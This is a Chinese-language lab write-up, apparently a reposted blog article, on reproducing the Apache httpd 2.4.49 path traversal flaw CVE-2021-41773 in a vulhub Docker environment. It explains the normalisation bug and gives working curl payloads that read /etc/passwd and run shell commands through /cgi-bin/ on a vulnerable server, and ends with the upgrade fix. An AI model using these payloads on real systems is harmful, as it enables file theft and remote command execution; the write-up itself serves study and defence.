Apache Http Server 路徑穿越漏洞復現
Apache Http Server 路徑穿越漏洞概述
Apache Http Server 簡介
Apache HTTP Server(簡稱 Apache)是 Apache 軟體基金會的一個開放原始碼的網頁服務器軟體,可以在大多數電腦作業系統中運行,由于其跨平臺和安全性,被廣泛使用,是最流行的 Web 服務器軟體之一,它快速、可靠并且可通過簡單的 API 擴展,將 Perl/Python 等解釋器編譯到服務器中,
Httpd(即 HTTP Daemon ,超文本傳輸協議守護程式的簡稱)是一款運行于網頁服務器后臺,等待傳入服務器請求的軟體,HTTP 守護程式能自動回應服務器請求,并使用 HTTP 協議傳送超文本及多媒體內容,
CVE-2021-41773
CVE-2021-41773 是一個影響 Apache HTTP Server (httpd) 的安全漏洞,影響版本為 2.4.49 版本,它是一個路徑遍歷漏洞,如果檔案根目錄以外的檔案不受 require all denied 保護,則攻擊者可以訪問這些檔案,
同時,若 Apache HTTPd 開啟了 cgi 支持,攻擊者可構造惡意請求執行命令,控制服務器,
漏洞影響
- Apache Http Server 2.4.49 引入,
- Apache Http Server 2.4.50 未完全修復(CVE-2021-42013),
Apache Http Server 路徑穿越漏洞原理
在 Apache HTTP Server 2.4.49 版本中,在對用戶發送的請求中的路徑引數進行規范化時,其使用的 ap_normalize_path 函式會對路徑引數先進行 url 解碼,然后判斷是否存在 ../ 的路徑穿越符,
當檢測到路徑中存在 % 字符時,若其緊跟的兩個字符是十六進制字符,則程式會對其進行 url 解碼,將其轉換成標準字符,如 %2e 會被轉換為 . ,若轉換后的標準字符為 . ,此時程式會立即判斷其后兩字符是否為 ./ ,從而判斷是否存在未經允許的 ../ 路徑穿越行為,
如果路徑中存在 %2e./ 形式,程式就會檢測到路徑穿越符,然而,當出現 .%2e/ 或 %2e%2e/ 形式,程式就不會將其檢測為路徑穿越符,原因是遍歷到第一個 . 字符時,程式檢測到其后兩字符為 %2 而不是 ./ ,就不會將其判斷為 ../ ,因此,攻擊者可以使用 .%2e/ 或 %2e%2e/ 繞程序式對路徑穿越符的檢測,從而讀取位于 Apache 服務器 web 目錄以外的其他檔案,或者讀取 web 目錄中的腳本檔案原始碼,或者在開啟了 cgi 或 cgid 的服務器上執行任意命令,
Apache Http Server 路徑穿越漏洞復現
下面利用 vulhub 開源漏洞靶場搭建漏洞環境,通過使用攻擊機遍歷靶機檔案并且遠程執行命令復現這一漏洞,
搭建 Apache 服務器
登入作為靶機的虛擬機,
執行命令 ip a ,獲取靶機 ip 為 10.0.2.15 ,
下載 vulhub 后,執行以下命令搭建 docker 環境,
cd vulhub/httpd/CVE-2021-41773
sudo docker-compose up -d
顯示

表明搭建完成,執行命令 sudo docker ps 可以查看正在運行的 docker :

搭建完成后,使用瀏覽器訪問 http://10.0.2.15:8080/ ,即可看到 Apache 默認 It works! 頁面:

則 Apache 服務器搭建完成,
復現攻擊
登入作為攻擊機的虛擬機,
遍歷檔案
執行命令
curl -v --path-as-is http://10.0.2.15:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
可見,成功讀取到 /etc/passwd :

在靶機中訪問此檔案,確認攻擊機成功讀取到 passwd :

遠程執行命令
在攻擊機中執行命令
curl -v --data "echo;id" 'http://10.0.2.15:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
可見,成功執行 id 命令:

通過遠程執行命令,訪問 /etc/passwd
curl -v --data "echo;cd /etc && cat passwd"
\ 'http://10.0.2.15:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
成功讀取到 passwd :

Apache Http Server 路徑穿越漏洞修復
升級到 Apache HTTP Server 2.4.51 及以上版本,
Reference
[1] Apache HTTP服務器 - 維基百科,自由的百科全書 (wikipedia.org) ,https://zh.wikipedia.org/wiki/Apache_HTTP_Server
[2] Apache HTTP Server 2.4.49 中的路徑遍歷和檔案泄露漏洞 (CVE-2021-41773),https://www.bilibili.com/video/BV1dU4y1f7x1
[3] Apache HTTP Server 2.4.49 路徑穿越漏洞(CVE-2021-41773),https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
[4] Apache 2.4.49 (CVE-2021-41773) 、 2.4.50 (CVE-2021-42013) 檢測工具 (qq.com),https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488695&idx=1&sn=93cc8e0b903e073b2ec5f56baae05c8c
[5] Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project,https://httpd.apache.org/security/vulnerabilities_24.html
[6] 【漏洞通告】Apache HTTPd 2.4.49 路徑穿越與命令執行漏洞(CVE-2021-41773) (aliyun.com),https://help.aliyun.com/noticelist/articleid/1060919610.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/555102.html
標籤:其他
上一篇:XSS cookie偽造攻擊
下一篇:返回列表
